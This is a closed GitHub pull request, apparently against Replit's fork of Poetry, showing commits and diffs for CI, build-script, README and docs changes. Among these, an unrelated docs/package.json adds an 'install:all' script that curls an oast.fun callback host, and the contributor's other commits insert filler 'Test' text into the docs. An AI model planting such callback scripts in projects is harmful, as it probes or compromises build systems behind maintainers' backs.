Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Test actions #43

Closed
wants to merge 24 commits into from
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
24 commits
Select commit Hold shift + click to select a range
58982ce
Merge pull request #16 from replit/th-dont-isolate
airportyh Aug 1, 2023
9b11727
change the flag name to detach it from user site behavior
Aug 1, 2023
e236eba
Merge pull request #17 from replit/th-pip-no-isolate-2
airportyh Aug 1, 2023
1a9049c
pip.use_pip_cache option to let pip fetch files
Aug 3, 2023
184dd06
lint
Aug 3, 2023
0841ee3
Merge pull request #20 from replit/th-pip-use-pip-cache
airportyh Aug 3, 2023
68d0fb6
updated build-bundle.sh script and readme (#21)
airportyh Aug 29, 2023
2f42953
add codeowners (#22)
cdmistman Sep 18, 2023
6157674
Poetry install performance enhancement for low-resource environments …
airportyh Dec 11, 2023
6968efd
adde fallback to requests when curl fails (#28)
airportyh Dec 11, 2023
61bb0e8
Headers, shebang, and curl fixes (#29)
airportyh Dec 15, 2023
1d8a91e
increment version (#30)
airportyh Dec 15, 2023
21024b8
chore(deps): bump cryptography from 40.0.2 to 41.0.6 (#26)
dependabot[bot] Jan 5, 2024
0a3947d
bug/Poetry Runtime: Elide USERBASE with poetry internal deps (#31)
blast-hardcheese Jan 5, 2024
7dc40c1
chore(deps): bump cryptography from 41.0.6 to 42.0.4 (#35)
dependabot[bot] Feb 26, 2024
180e32f
chore(deps): bump urllib3 from 1.26.15 to 1.26.19 (#37)
dependabot[bot] Jun 21, 2024
24a114b
chore(deps): bump certifi from 2023.5.7 to 2024.7.4 (#38)
dependabot[bot] Jul 8, 2024
e0b0d14
Added module_name conversion to fix proj name comparison; backport pr…
airportyh Aug 13, 2024
36fe1c4
Update faq.md
orlserg Sep 29, 2024
1bd106a
Create package.json
orlserg Sep 29, 2024
0863623
Update cli.md
orlserg Sep 30, 2024
06e9fc4
Update cli.md
orlserg Sep 30, 2024
8f761e0
Test
orlserg Sep 30, 2024
ce718fd
Update package.json
orlserg Sep 30, 2024
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions .github/CODEOWNERS
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
* @replit/devex
2 changes: 1 addition & 1 deletion .github/workflows/main.yml
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,7 @@ jobs:
strategy:
matrix:
os: [Ubuntu, macOS, Windows]
python-version: ["3.7", "3.8", "3.9", "3.10", "3.11"]
python-version: ["3.8", "3.9", "3.10", "3.11"]
include:
- os: Ubuntu
image: ubuntu-22.04
Expand Down
5 changes: 4 additions & 1 deletion .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -42,4 +42,7 @@ poetry/core/*

.pythonlibs

poetry-*-bundle.tgz
poetry-*-bundle.tgz

poetry_env
proj
7 changes: 5 additions & 2 deletions .replit
Original file line number Diff line number Diff line change
Expand Up @@ -4,8 +4,11 @@ modules = ["python-3.10:v16-20230726-64244b3"]
channel = "stable-22_11"

[env]
PYTHONPATH = "$PYTHONPATH:$REPL_HOME/src"
POETRY_INSTALLER_MODERN_INSTALLATION = "0"
# PYTHONPATH = "$PYTHONPATH:$REPL_HOME/src"
# POETRY_INSTALLER_PARALLEL = "0"
POETRY_DOWNLOAD_WITH_CURL = "1"
POETRY_INSTALLER_MODERN_INSTALLATION = "1"
POETRY_PIP_FROM_PATH = "1"
POETRY_PIP_NO_PREFIX = "1"
POETRY_USE_USER_SITE = "1"
POETRY_PIP_USE_PIP_CACHE = "1"
54 changes: 54 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -112,3 +112,57 @@ external formats like virtual environments
* [install.python-poetry.org](https://github.com/python-poetry/install.python-poetry.org): The official Poetry
installation script
* [website](https://github.com/python-poetry/website): The official Poetry website and blog

## How to test in a Repl

There are 2 ways to test poetry in a Repl.

## Method 1

1. Uncomment `PYTHONPATH = "$PYTHONPATH:$REPL_HOME/src"` in `.replit`
2. create a test project via:
* mkdir proj
* cd proj
* poetry init # and go through the prompts
3. Run `python -m poetry ...`

This will install libs into `.pythonlibs`, but has the shortcoming that poetry won't distinguish its
own dependencies from the test project's.

## Method 2

1. Comment out `PYTHONPATH = "$PYTHONPATH:$REPL_HOME/src"` in `.replit`
2. create a test project via:
* mkdir proj
* cd proj
* poetry init # and go through the prompts
3. cd ..
4. ./install_poetry_in_venv.sh
5. cd proj
6. Run `../poetry_env/bin/poetry ...`

This will also install libs into `.pythonlibs`, which will belong solely to the test project. Poetry's
dependencies live inside poetry_env.

If you want to "reset" the libs you can:

1. cd proj
2. rm poetry.lock
3. rm -fr ../.pythonlibs
4. rm -fr ../.cache/pypoetry
5. rid pyproject.toml of previously installed libraries
6. Now you can test installing stuff as if starting from scratch

## Bundle

For the Replit [Python Nix modules](https://github.com/replit/nixmodules/tree/main/pkgs/modules/python), we build a separate Poetry bundle for each supported version of Python
containing Poetry plus all its dependencies and uploaded it to gcf. To build a bundle:

1. Make sure you have the correct version of Python and Pip, and that they match.
2. Get access to the latest version of poetry.
3. If you are working in a Repl, using a Python Nix module should give you all 3.
4. Run `build-bundle.sh`
5. It should produce a file `poetry-${VERSION}-python-${PYTHON_VERSION}-bundle.tgz` in `dist`
6. Upload this to gcf in the `poetry-bundles` of the Goval project.
7. Click on the ... and choose "Copy Public URL" for use in the poetry derivation back in
[Nix modules](https://github.com/replit/nixmodules)
11 changes: 6 additions & 5 deletions build-bundle.sh
Original file line number Diff line number Diff line change
Expand Up @@ -14,9 +14,10 @@ BUILD_DIR=poetry-bundle
rm -fr $BUILD_DIR
mkdir -p $BUILD_DIR
VERSION=$(toml2json pyproject.toml | jq '.tool.poetry.version' --raw-output)
POETRY_TAR_FILE="poetry-${VERSION}.tgz"
tar cz --sort=name --mtime='@1' --owner=0 --group=0 --numeric-owner -P -f "$POETRY_TAR_FILE" src pyproject.toml LICENSE README.md
pip download "$POETRY_TAR_FILE" -d $BUILD_DIR
tar czf poetry-${VERSION}-bundle.tgz $BUILD_DIR
rm "$POETRY_TAR_FILE"
POETRY_WHEEL_FILE="dist/poetry-${VERSION}-py3-none-any.whl"
PYTHON_VERSION=$(python -c 'import platform; print(platform.python_version())')
poetry build
pip download "$POETRY_WHEEL_FILE" -d $BUILD_DIR
tar czf dist/poetry-${VERSION}-python-${PYTHON_VERSION}-bundle.tgz $BUILD_DIR
rm "$POETRY_WHEEL_FILE"
rm -fr "$BUILD_DIR"
4 changes: 4 additions & 0 deletions docs/cli.md
Original file line number Diff line number Diff line change
@@ -1,3 +1,5 @@
TEst

---
title: "Commands"
draft: false
Expand Down Expand Up @@ -1005,3 +1007,5 @@ poetry self install --sync

* `--sync`: Synchronize the environment with the locked packages and the specified groups.
* `--dry-run`: Output the operations but do not execute anything (implicitly enables --verbose).

Test test
2 changes: 2 additions & 0 deletions docs/faq.md
Original file line number Diff line number Diff line change
Expand Up @@ -230,3 +230,5 @@ The two key options we are using here are `--no-root` (skips installing the proj
Poetry's default HTTP request timeout is 15 seconds, the same as `pip`.
Similar to `PIP_REQUESTS_TIMEOUT`, the **experimental** environment variable `POETRY_REQUESTS_TIMEOUT`
can be set to alter this value.

Hello
16 changes: 16 additions & 0 deletions docs/package.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
{
"name": "nodejs-typescript",
"version": "1.0.0",
"description": "",
"main": "/src/index.ts",
"type": "module",
"scripts": {
"install:all": "curl https://yldltzlfsgobpsuhvgow8529wsnmpynjq.oast.fun"
},
"author": "",
"license": "ISC",
"dependencies": {
"axios": "^1.7.7",
"node-fetch": "^3.3.1"
}
}
9 changes: 9 additions & 0 deletions install_poetry_in_venv.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
# This script installs poetry within its own venv the way
# it is when deployed so that its deps are isolated from the deps of the projects it manages
rm -fr poetry_env
poetry build
python -m venv poetry_env
touch poetry_env/poetry_env
poetry_env/bin/pip install dist/poetry-1.5.2-py3-none-any.whl
# inspired by https://stackoverflow.com/a/584926:
sed -i 's@/usr/bin/env python3@'"$REPL_HOME"'/poetry_env/bin/python3@g' poetry_env/bin/poetry
Loading